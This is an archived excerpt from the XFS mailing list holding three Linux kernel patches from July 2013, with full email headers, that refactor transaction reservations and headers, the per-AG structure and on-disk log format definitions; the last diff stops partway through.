cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D71798F8033 for ; Thu, 18 Jul 2013 23:26:00 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000f-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dAaBv1mzmIqlzIVf for ; Thu, 18 Jul 2013 23:25:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45LFBOBOoNmA6F/hyuDJCqBLAEf Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048w-KW for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zW-7o for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 36/49] xfs: Introduce tr_fsyncts to m_reservation Date: Fri, 19 Jul 2013 16:25:07 +1000 X-ASG-Orig-Subj: [PATCH 36/49] xfs: Introduce tr_fsyncts to m_reservation Message-Id: <1374215120-7271-37-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215158 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu A preparation step. For now fsync_ts transaction use the pre-calculated log reservation size of tr_swrite. This patch introduce a new item tr_fsyncts to mp->m_reservations structure so that we can fetch the log reservation value for it in a same manner to others. Signed-off-by: Jie Liu --- fs/xfs/xfs_trans_resv.c | 1 + fs/xfs/xfs_trans_resv.h | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 3761481..e9211ad 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -759,6 +759,7 @@ xfs_trans_resv_calc( resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_fsyncts.tr_logres = xfs_calc_swrite_reservation(mp); resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index 0aac1fa..326f17d 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -62,6 +62,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ struct xfs_trans_res tr_sb; /* modify superblock */ + struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; /* @@ -109,7 +110,7 @@ struct xfs_trans_resv { * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) #define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 27CCC7F8D for ; Fri, 19 Jul 2013 01:26:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17BFE8F8033 for ; Thu, 18 Jul 2013 23:26:02 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000f-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 0AqkSYpVy34Ksc4b for ; Thu, 18 Jul 2013 23:26:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-000489-8K for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zM-6S for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 34/49] xfs: make struct xfs_perag kernel only Date: Fri, 19 Jul 2013 16:25:05 +1000 X-ASG-Orig-Subj: [PATCH 34/49] xfs: make struct xfs_perag kernel only Message-Id: <1374215120-7271-35-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215160 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The struct xfs_perag has many kernel-only definitions in it, requiring a __KERNEL__ guard so userspace can use it to. Move it to xfs_mount.h so that it it kernel-only, and let userspace redefine it's own version of the structure containing only what it needs. This gets rid of another __KERNEL__ check in the XFS header files. Signed-off-by: Dave Chinner --- fs/xfs/xfs_acl.c | 1 + fs/xfs/xfs_ag.h | 53 --------------------------------------------- fs/xfs/xfs_mount.h | 52 ++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_symlink_remote.c | 1 + 4 files changed, 54 insertions(+), 53 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 0c4368a..2f77db8 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -22,6 +22,7 @@ #include "xfs_attr.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" +#include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 317aa86..1cb740a 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -227,59 +227,6 @@ typedef struct xfs_agfl { } xfs_agfl_t; /* - * Per-ag incore structure, copies of information in agf and agi, - * to improve the performance of allocation group selection. - */ -#define XFS_PAGB_NUM_SLOTS 128 - -typedef struct xfs_perag { - struct xfs_mount *pag_mount; /* owner filesystem */ - xfs_agnumber_t pag_agno; /* AG this structure belongs to */ - atomic_t pag_ref; /* perag reference count */ - char pagf_init; /* this agf's entry is initialized */ - char pagi_init; /* this agi's entry is initialized */ - char pagf_metadata; /* the agf is preferred to be metadata */ - char pagi_inodeok; /* The agi is ok for inodes */ - __uint8_t pagf_levels[XFS_BTNUM_AGF]; - /* # of levels in bno & cnt btree */ - __uint32_t pagf_flcount; /* count of blocks in freelist */ - xfs_extlen_t pagf_freeblks; /* total free blocks */ - xfs_extlen_t pagf_longest; /* longest free space */ - __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ - xfs_agino_t pagi_freecount; /* number of free inodes */ - xfs_agino_t pagi_count; /* number of allocated inodes */ - - /* - * Inode allocation search lookup optimisation. - * If the pagino matches, the search for new inodes - * doesn't need to search the near ones again straight away - */ - xfs_agino_t pagl_pagino; - xfs_agino_t pagl_leftrec; - xfs_agino_t pagl_rightrec; -#ifdef __KERNEL__ - spinlock_t pagb_lock; /* lock for pagb_tree */ - struct rb_root pagb_tree; /* ordered tree of busy extents */ - - atomic_t pagf_fstrms; /* # of filestreams active in this AG */ - - spinlock_t pag_ici_lock; /* incore inode cache lock */ - struct radix_tree_root pag_ici_root; /* incore inode cache root */ - int pag_ici_reclaimable; /* reclaimable inodes */ - struct mutex pag_ici_reclaim_lock; /* serialisation point */ - unsigned long pag_ici_reclaim_cursor; /* reclaim restart point */ - - /* buffer cache index */ - spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ - struct rb_root pag_buf_tree; /* ordered tree of active buffers */ - - /* for rcu-safe freeing */ - struct rcu_head rcu_head; -#endif - int pagb_count; /* pagb slots in use */ -} xfs_perag_t; - -/* * tags for inode radix tree */ #define XFS_ICI_NO_TAG (-1) /* special flag for an untagged lookup diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 5488df1..829035f6 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -320,6 +320,58 @@ typedef struct xfs_mod_sb { int64_t msb_delta; /* Change to make to specified field */ } xfs_mod_sb_t; +/* + * Per-ag incore structure, copies of information in agf and agi, to improve the + * performance of allocation group selection. This is defined for the kernel + * only, and hence is defined here instead of in xfs_ag.h. You need the struct + * xfs_mount to be defined to look up a xfs_perag anyway (via mp->m_perag_tree), + * so this doesn't introduce any strange header file dependencies. + */ +typedef struct xfs_perag { + struct xfs_mount *pag_mount; /* owner filesystem */ + xfs_agnumber_t pag_agno; /* AG this structure belongs to */ + atomic_t pag_ref; /* perag reference count */ + char pagf_init; /* this agf's entry is initialized */ + char pagi_init; /* this agi's entry is initialized */ + char pagf_metadata; /* the agf is preferred to be metadata */ + char pagi_inodeok; /* The agi is ok for inodes */ + __uint8_t pagf_levels[XFS_BTNUM_AGF]; + /* # of levels in bno & cnt btree */ + __uint32_t pagf_flcount; /* count of blocks in freelist */ + xfs_extlen_t pagf_freeblks; /* total free blocks */ + xfs_extlen_t pagf_longest; /* longest free space */ + __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ + xfs_agino_t pagi_freecount; /* number of free inodes */ + xfs_agino_t pagi_count; /* number of allocated inodes */ + + /* + * Inode allocation search lookup optimisation. + * If the pagino matches, the search for new inodes + * doesn't need to search the near ones again straight away + */ + xfs_agino_t pagl_pagino; + xfs_agino_t pagl_leftrec; + xfs_agino_t pagl_rightrec; + spinlock_t pagb_lock; /* lock for pagb_tree */ + struct rb_root pagb_tree; /* ordered tree of busy extents */ + + atomic_t pagf_fstrms; /* # of filestreams active in this AG */ + + spinlock_t pag_ici_lock; /* incore inode cache lock */ + struct radix_tree_root pag_ici_root; /* incore inode cache root */ + int pag_ici_reclaimable; /* reclaimable inodes */ + struct mutex pag_ici_reclaim_lock; /* serialisation point */ + unsigned long pag_ici_reclaim_cursor; /* reclaim restart point */ + + /* buffer cache index */ + spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ + struct rb_root pag_buf_tree; /* ordered tree of active buffers */ + + /* for rcu-safe freeing */ + struct rcu_head rcu_head; + int pagb_count; /* pagb slots in use */ +} xfs_perag_t; + extern int xfs_log_sbcount(xfs_mount_t *); extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); extern int xfs_mountfs(xfs_mount_t *mp); diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index a318524..01c85e3 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -21,6 +21,7 @@ #include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" +#include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C6157F6F for ; Fri, 19 Jul 2013 01:26:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5194D8F8033 for ; Thu, 18 Jul 2013 23:26:02 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000f-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id qV0KVCYjufmFhW4D for ; Thu, 18 Jul 2013 23:26:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000480-Kn for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xA-Jt for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/49] xfs: split out on-disk transaction definitions Date: Fri, 19 Jul 2013 16:24:38 +1000 X-ASG-Orig-Subj: [PATCH 07/49] xfs: split out on-disk transaction definitions Message-Id: <1374215120-7271-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215159 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There's a bunch of definitions in xfs_trans.h that define on-disk formats - transaction headers taht get written into the log, log item type definitions, etc. Split out everything into a separate file so that all which remains in xfs_trans.h are kernel only definitions. Also, remove the duplicate magic number definitions for XFS_TRANS_HEADER_MAGIC... Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_format.h | 206 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_trans.c | 4 +- fs/xfs/xfs_trans.h | 205 ----------------------------------------------- 3 files changed, 208 insertions(+), 207 deletions(-) diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index 02639c7..faf3f43 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -187,6 +187,212 @@ typedef struct xfs_log_iovec { /* + * Transaction Header definitions. + * + * This is the structure written in the log at the head of every transaction. It + * identifies the type and id of the transaction, and contains the number of + * items logged by the transaction so we know how many to expect during + * recovery. + * + * Do not change the below structure without redoing the code in + * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). + */ +typedef struct xfs_trans_header { + uint th_magic; /* magic number */ + uint th_type; /* transaction type */ + __int32_t th_tid; /* transaction id (unused) */ + uint th_num_items; /* num items logged by trans */ +} xfs_trans_header_t; + +#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ + +/* + * Log item types. + */ +#define XFS_LI_EFI 0x1236 +#define XFS_LI_EFD 0x1237 +#define XFS_LI_IUNLINK 0x1238 +#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ +#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ +#define XFS_LI_DQUOT 0x123d +#define XFS_LI_QUOTAOFF 0x123e +#define XFS_LI_ICREATE 0x123f + +#define XFS_LI_TYPE_DESC \ + { XFS_LI_EFI, "XFS_LI_EFI" }, \ + { XFS_LI_EFD, "XFS_LI_EFD" }, \ + { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ + { XFS_LI_INODE, "XFS_LI_INODE" }, \ + { XFS_LI_BUF, "XFS_LI_BUF" }, \ + { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ + { XFS_LI_ICREATE, "XFS_LI_ICREATE" } + +/* + * Transaction types. Used to distinguish types of buffers. + */ +#define XFS_TRANS_SETATTR_NOT_SIZE 1 +#define XFS_TRANS_SETATTR_SIZE 2 +#define XFS_TRANS_INACTIVE 3 +#define XFS_TRANS_CREATE 4 +#define XFS_TRANS_CREATE_TRUNC 5 +#define XFS_TRANS_TRUNCATE_FILE 6 +#define XFS_TRANS_REMOVE 7 +#define XFS_TRANS_LINK 8 +#define XFS_TRANS_RENAME 9 +#define XFS_TRANS_MKDIR 10 +#define XFS_TRANS_RMDIR 11 +#define XFS_TRANS_SYMLINK 12 +#define XFS_TRANS_SET_DMATTRS 13 +#define XFS_TRANS_GROWFS 14 +#define XFS_TRANS_STRAT_WRITE 15 +#define XFS_TRANS_DIOSTRAT 16 +/* 17 was XFS_TRANS_WRITE_SYNC */ +#define XFS_TRANS_WRITEID 18 +#define XFS_TRANS_ADDAFORK 19 +#define XFS_TRANS_ATTRINVAL 20 +#define XFS_TRANS_ATRUNCATE 21 +#define XFS_TRANS_ATTR_SET 22 +#define XFS_TRANS_ATTR_RM 23 +#define XFS_TRANS_ATTR_FLAG 24 +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 +#define XFS_TRANS_QM_SBCHANGE 26 +/* + * Dummy entries since we use the transaction type to index into the + * trans_type[] in xlog_recover_print_trans_head() + */ +#define XFS_TRANS_DUMMY1 27 +#define XFS_TRANS_DUMMY2 28 +#define XFS_TRANS_QM_QUOTAOFF 29 +#define XFS_TRANS_QM_DQALLOC 30 +#define XFS_TRANS_QM_SETQLIM 31 +#define XFS_TRANS_QM_DQCLUSTER 32 +#define XFS_TRANS_QM_QINOCREATE 33 +#define XFS_TRANS_QM_QUOTAOFF_END 34 +#define XFS_TRANS_SB_UNIT 35 +#define XFS_TRANS_FSYNC_TS 36 +#define XFS_TRANS_GROWFSRT_ALLOC 37 +#define XFS_TRANS_GROWFSRT_ZERO 38 +#define XFS_TRANS_GROWFSRT_FREE 39 +#define XFS_TRANS_SWAPEXT 40 +#define XFS_TRANS_SB_COUNT 41 +#define XFS_TRANS_CHECKPOINT 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 +/* new transaction types need to be reflected in xfs_logprint(8) */ + +#define XFS_TRANS_TYPES \ + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ + { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ + { XFS_TRANS_REMOVE, "REMOVE" }, \ + { XFS_TRANS_LINK, "LINK" }, \ + { XFS_TRANS_RENAME, "RENAME" }, \ + { XFS_TRANS_MKDIR, "MKDIR" }, \ + { XFS_TRANS_RMDIR, "RMDIR" }, \ + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ + { XFS_TRANS_GROWFS, "GROWFS" }, \ + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ + { XFS_TRANS_WRITEID, "WRITEID" }, \ + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } + +/* + * This structure is used to track log items associated with + * a transaction. It points to the log item and keeps some + * flags to track the state of the log item. It also tracks + * the amount of space needed to log the item it describes + * once we get to commit processing (see xfs_trans_commit()). + */ +struct xfs_log_item_desc { + struct xfs_log_item *lid_item; + struct list_head lid_trans; + unsigned char lid_flags; +}; + +#define XFS_LID_DIRTY 0x1 + +/* + * Values for t_flags. + */ +#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ +#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ +#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ +#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ +#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ +#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ +#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer + count in superblock */ + +/* + * Values for call flags parameter. + */ +#define XFS_TRANS_RELEASE_LOG_RES 0x4 +#define XFS_TRANS_ABORT 0x8 + +/* + * Field values for xfs_trans_mod_sb. + */ +#define XFS_TRANS_SB_ICOUNT 0x00000001 +#define XFS_TRANS_SB_IFREE 0x00000002 +#define XFS_TRANS_SB_FDBLOCKS 0x00000004 +#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 +#define XFS_TRANS_SB_FREXTENTS 0x00000010 +#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 +#define XFS_TRANS_SB_DBLOCKS 0x00000040 +#define XFS_TRANS_SB_AGCOUNT 0x00000080 +#define XFS_TRANS_SB_IMAXPCT 0x00000100 +#define XFS_TRANS_SB_REXTSIZE 0x00000200 +#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 +#define XFS_TRANS_SB_RBLOCKS 0x00000800 +#define XFS_TRANS_SB_REXTENTS 0x00001000 +#define XFS_TRANS_SB_REXTSLOG 0x00002000 + +/* + * Here we centralize the specification of XFS meta-data buffer + * reference count values. This determine how hard the buffer + * cache tries to hold onto the buffer. + */ +#define XFS_AGF_REF 4 +#define XFS_AGI_REF 4 +#define XFS_AGFL_REF 3 +#define XFS_INO_BTREE_REF 3 +#define XFS_ALLOC_BTREE_REF 2 +#define XFS_BMAP_BTREE_REF 2 +#define XFS_DIR_BTREE_REF 2 +#define XFS_INO_REF 2 +#define XFS_ATTR_BTREE_REF 1 +#define XFS_DQUOT_REF 1 + +/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 1d2a061..9b70df3 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -744,7 +744,7 @@ _xfs_trans_alloc( atomic_inc(&mp->m_active_trans); tp = kmem_zone_zalloc(xfs_trans_zone, memflags); - tp->t_magic = XFS_TRANS_MAGIC; + tp->t_magic = XFS_TRANS_HEADER_MAGIC; tp->t_type = type; tp->t_mountp = mp; INIT_LIST_HEAD(&tp->t_items); @@ -789,7 +789,7 @@ xfs_trans_dup( /* * Initialize the new transaction structure. */ - ntp->t_magic = XFS_TRANS_MAGIC; + ntp->t_magic = XFS_TRANS_HEADER_MAGIC; ntp->t_type = tp->t_type; ntp->t_mountp = tp->t_mountp; INIT_LIST_HEAD(&ntp->t_items); diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 2b49463..ffaa584 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -21,195 +21,6 @@ struct xfs_log_item; /* - * This is the structure written in the log at the head of - * every transaction. It identifies the type and id of the - * transaction, and contains the number of items logged by - * the transaction so we know how many to expect during recovery. - * - * Do not change the below structure without redoing the code in - * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). - */ -typedef struct xfs_trans_header { - uint th_magic; /* magic number */ - uint th_type; /* transaction type */ - __int32_t th_tid; /* transaction id (unused) */ - uint th_num_items; /* num items logged by trans */ -} xfs_trans_header_t; - -#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ - -/* - * Log item types. - */ -#define XFS_LI_EFI 0x1236 -#define XFS_LI_EFD 0x1237 -#define XFS_LI_IUNLINK 0x1238 -#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ -#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ -#define XFS_LI_DQUOT 0x123d -#define XFS_LI_QUOTAOFF 0x123e -#define XFS_LI_ICREATE 0x123f - -#define XFS_LI_TYPE_DESC \ - { XFS_LI_EFI, "XFS_LI_EFI" }, \ - { XFS_LI_EFD, "XFS_LI_EFD" }, \ - { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ - { XFS_LI_INODE, "XFS_LI_INODE" }, \ - { XFS_LI_BUF, "XFS_LI_BUF" }, \ - { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" } - -/* - * Transaction types. Used to distinguish types of buffers. - */ -#define XFS_TRANS_SETATTR_NOT_SIZE 1 -#define XFS_TRANS_SETATTR_SIZE 2 -#define XFS_TRANS_INACTIVE 3 -#define XFS_TRANS_CREATE 4 -#define XFS_TRANS_CREATE_TRUNC 5 -#define XFS_TRANS_TRUNCATE_FILE 6 -#define 